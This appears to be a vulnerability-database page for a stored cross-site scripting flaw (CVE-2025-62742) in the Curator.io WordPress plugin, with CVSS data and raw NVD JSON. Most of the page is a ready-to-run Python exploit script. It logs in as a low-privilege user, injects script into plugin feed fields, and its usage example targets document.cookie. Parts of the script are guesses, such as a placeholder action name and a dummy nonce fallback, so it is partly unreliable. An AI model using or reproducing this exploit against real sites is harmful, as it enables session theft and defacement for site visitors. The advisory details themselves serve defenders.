Security Vulnerability Report
中文
CVE-2025-62742 CVSS 6.5 MEDIUM

CVE-2025-62742

Published: 2025-12-31 13:15:42
Last Modified: 2026-04-23 15:34:40

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Curator.io Curator.io curatorio allows Stored XSS.This issue affects Curator.io: from n/a through <= 1.9.5.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Curator.io WordPress插件(curatorio)<= 1.9.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-62742 Stored XSS PoC # Target: Curator.io WordPress Plugin <= 1.9.5 # Vulnerability: Stored Cross-Site Scripting def exploit_stored_xss(target_url, username, password, xss_payload): """ Exploit function for CVE-2025-62742 This PoC demonstrates how to inject malicious JavaScript code that will be stored and executed for all page visitors. Args: target_url: Base URL of the WordPress site username: Low-privilege user account password: User password xss_payload: Malicious JavaScript payload to inject Returns: bool: True if injection successful, False otherwise """ session = requests.Session() # Step 1: Login to WordPress with low-privilege account login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/admin.php?page=curatorio" } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed with status code: {response.status_code}") return False print("[+] Successfully logged in as low-privilege user") # Step 2: Navigate to Curator.io plugin settings # The vulnerable endpoint may vary based on plugin configuration plugin_page = f"{target_url}/wp-admin/admin.php?page=curatorio" response = session.get(plugin_page) # Step 3: Inject XSS payload through vulnerable input field # Common vulnerable fields in Curator.io: feed name, description, custom CSS, etc. post_data = { 'action': 'curatorio_save_feed', # Example action name 'feed_name': xss_payload, # Vulnerable field 'feed_description': f"<script>alert('XSS by {username}')</script>", 'nonce': extract_nonce(response.text) # Extract CSRF token } # Step 4: Submit the malicious data ajax_url = f"{target_url}/wp-admin/admin-ajax.php" response = session.post(ajax_url, data=post_data) if response.status_code == 200 and 'success' in response.text.lower(): print(f"[+] XSS payload successfully injected!") print(f"[*] Payload: {xss_payload}") print(f"[*] The payload will be executed when users visit the affected page") return True else: print(f"[-] Injection may have failed. Check manually.") return False except requests.RequestException as e: print(f"[-] Request error: {e}") return False def extract_nonce(page_content): """ Extract WordPress nonce from page content Required for authenticated AJAX requests """ import re nonce_pattern = r'name="nonce" value="([a-zA-Z0-9]+)"' match = re.search(nonce_pattern, page_content) if match: return match.group(1) # Fallback: try common nonce field names return 'dummy_nonce_value' if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2025-62742-poc.py <target_url> <username> <password> <xss_payload>") print("Example: python cve-2025-62742-poc.py http://example.com admin password '<script>alert(document.cookie)</script>'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] payload = sys.argv[4] exploit_stored_xss(target, user, pwd, payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62742", "sourceIdentifier": "[email protected]", "published": "2025-12-31T13:15:41.813", "lastModified": "2026-04-23T15:34:39.510", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Curator.io Curator.io curatorio allows Stored XSS.This issue affects Curator.io: from n/a through <= 1.9.5."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Curator.Io permite XSS Almacenado. Este problema afecta a Curator.Io: desde n/d hasta 1.9.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/curatorio/vulnerability/wordpress-curator-io-plugin-1-9-5-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}